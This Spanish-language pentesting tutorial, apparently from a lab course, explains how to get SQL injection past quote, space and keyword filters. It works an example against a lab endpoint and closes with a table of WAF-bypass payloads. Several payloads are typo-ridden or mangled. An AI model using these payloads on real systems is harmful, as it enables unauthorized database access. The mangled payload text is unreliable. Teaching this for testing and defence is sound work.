No-Quote SQL Injection
Las técnicas de inyección SQL sin comilla se usan cuando la aplicación filtra las comillas dobles y simples.
- Usar Valores Numéricos: Un acercamiento es usar valores numéricos u otros tipos de datos que no requieran comillas. Por ejemplo, en vez de inyectar
' OR '1'='1, un atacante podría usarOR 1=1. Esta técnica puede bypassear filtros específicos de comillas. - Usar Comentarios SQL: Otro método involucra usar comentarios SQL para terminar el resto de la query. Por ejemplo, el input
admin'--puede transformarse enadmin--, donde--significa el inicio del comentario SQL. Esto puede ayudar a sobrepasar filtros y evitar errores de sintaxis. - Usar la Función CONCAT(): Los atacantes pueden usar funciones SQL como
CONCAT()para construir strings sin comillas. Por ejemploCONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)construye la stringadmin. La funciónCNCAT()y métodos similares permiten a los atacantes construir strings sin usar comillas directamente.
No Spaces Allowed
Cuando los espacios no están permitidos o están filtradoos, se pueden usar varias técnicas para bypassear esta restricción.
- Comentar para Reemplazar Espacios: Un método común es usar comentarios SQL
/**/para reemplazar a los espaccios. Por ejemplo, en lugar de ponerSELECT * FROM users WHERE name = 'admin', un atacante podría ponerSELECT/**/*FROM/**/users/**/WHERE/**/name/**/='admin'. Los comentarios pueden reemplazar a los espacios en la query. - Tabular o Hacer Nueva Línea: Otro acercamiento es usar el tabulador
\to la nueva línea\ncomo sustitutos del espacio. Algunos filtros pueden permitir estos caracteres permitiendo al atacante construir una query comoSELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin'. - Caracteres Alternos: Otro método efectivo es usar caracteres URL encodeados representando diferentes tipos de espacio blanco como
%09(tabulación horizontal),%0A(line feed),%0C(form feed),%0D(carriege return) o%A0(non-breaking space). Estos caracteres pueden reemplazar los espacios.
Ejemplo Práctico
En este escenario tenemos un endpoint, http://10.82.133.85/space/search_users.php?username=? que devuelve los detalles del usuario basados en el nombre de usuario proporcionado. El desarrollador ha implementado filtros para bloquear palabras clave de las inyecciones SQL comunes como OR, AND y espacios (%20).
Aquí está el filtro PHP añadido por el desarrollador:
$special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT"); $username = str_replace($special_chars, '', $username); $sql = "SELECT * FROM user WHERE username = '$username'";
Si usamos nuestro payload estándar 1%27%20||%201=1%20--+, podemos ver que el URL encoding no está funcionando.

La query SQL muestra que los espacios son omitidos por el código. Para sobrepasar estas protecciones podemos usar los caracteres URLencodeados que representan diferentes tipos de espacios o cortes de línea como %09, %0A.
El payload original 1' OR 1=1 -- puede ser modificado para usar caracteres de nueva línea en vez de espacios, resultando en el payload 1'%0A||%0A1=1%0A--%27+. Este payload construye la misma condición lógica que 1' OR 1=1 -- pero usa caracteres de nueva línea para sobrepasar el filtro de espacios.
El parser SQL interpreta los caracteres de línea nueva como espacios, transformando el payload en 1' OR 1=1 --. Por esto, la query será interpretada de SELECT * FROM users WHERE username = '$username' a SELECT * FROM users WHERE username = '1' OR 1=1 --.
Ahora si accedemos al endpoint a través de un payload actualizado, podemos ver todos los detalles.

Para resumir, es importante entender que no hay una técnica simple que garantice un bypass al lidiar con filtros o Firewalls de Aplicaciones Web (WAFs) diseñados para prevenir los ataque de inyecciones SQL. Sin embargo, aquí hay algunos consejos y trucos que puedes usar para circunvalar estas protecciones. Esta tabla muestra varias técnicas que pueden ser empleadas para sobrepasar filrtos y WAFs.
| Escenario | Descripción | Ejemplo |
|---|---|---|
| Palabras clave como SELECT están prohibidas | Las palabras clave SQL pueden ser sobrepasadas cambiando las mayúsculas/minúscular o añadiendo comentarios inline. | SElEcT * FrOm users or SE//LECT * FROM//users |
| Los espacios están prohibidos | Usar caracteres de espacio alternativos o comentarios para reemplazar espacios puede sobrepasar filtros. | SELECT%0A*%0AFROM%0Ausers or SELECT//*//FROM/**/users |
| Operadores lógicos como OR o AND están prohibidos | Usar operadores lógicos alternativos o concatenación puede sobrepasar estos filtros. | username = 'admin' && password = 'password' or username = 'admin'//|//1=1 -- |
| Palabras clave comunes como UNION o SELECT están prohibidas | Usar representaciones equivalentes como hexadecimal o encodeado Unicode para sobrepasar filtros. | SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E) |
| Palabras clave específicas como OR, AND, SELECT, UNION están prohibidas | Usar técnicas de ofuscación para disfrazar palabras clave SQL combinando caracteres con funciones de string o comentarios. | SElECT * FROM users WHERE username = CONCAT('a','d','m','i','n') or SElEcT//username//FROM/**/users |
En entornos reales, las queries que aplicas y la visibilidad de las palabras clave filtradas no son directamente posibles. Como pentester, es importante entender que la inyección SQL habitualmente incluye un acercamiento de prueba y error requiriendo perseverancia. Cada entorno puede tener filtros y protecciones únicas haciendo necesario adaptarse e intentar diferentes técnicas para encontrar un vector de inyección exitoso.
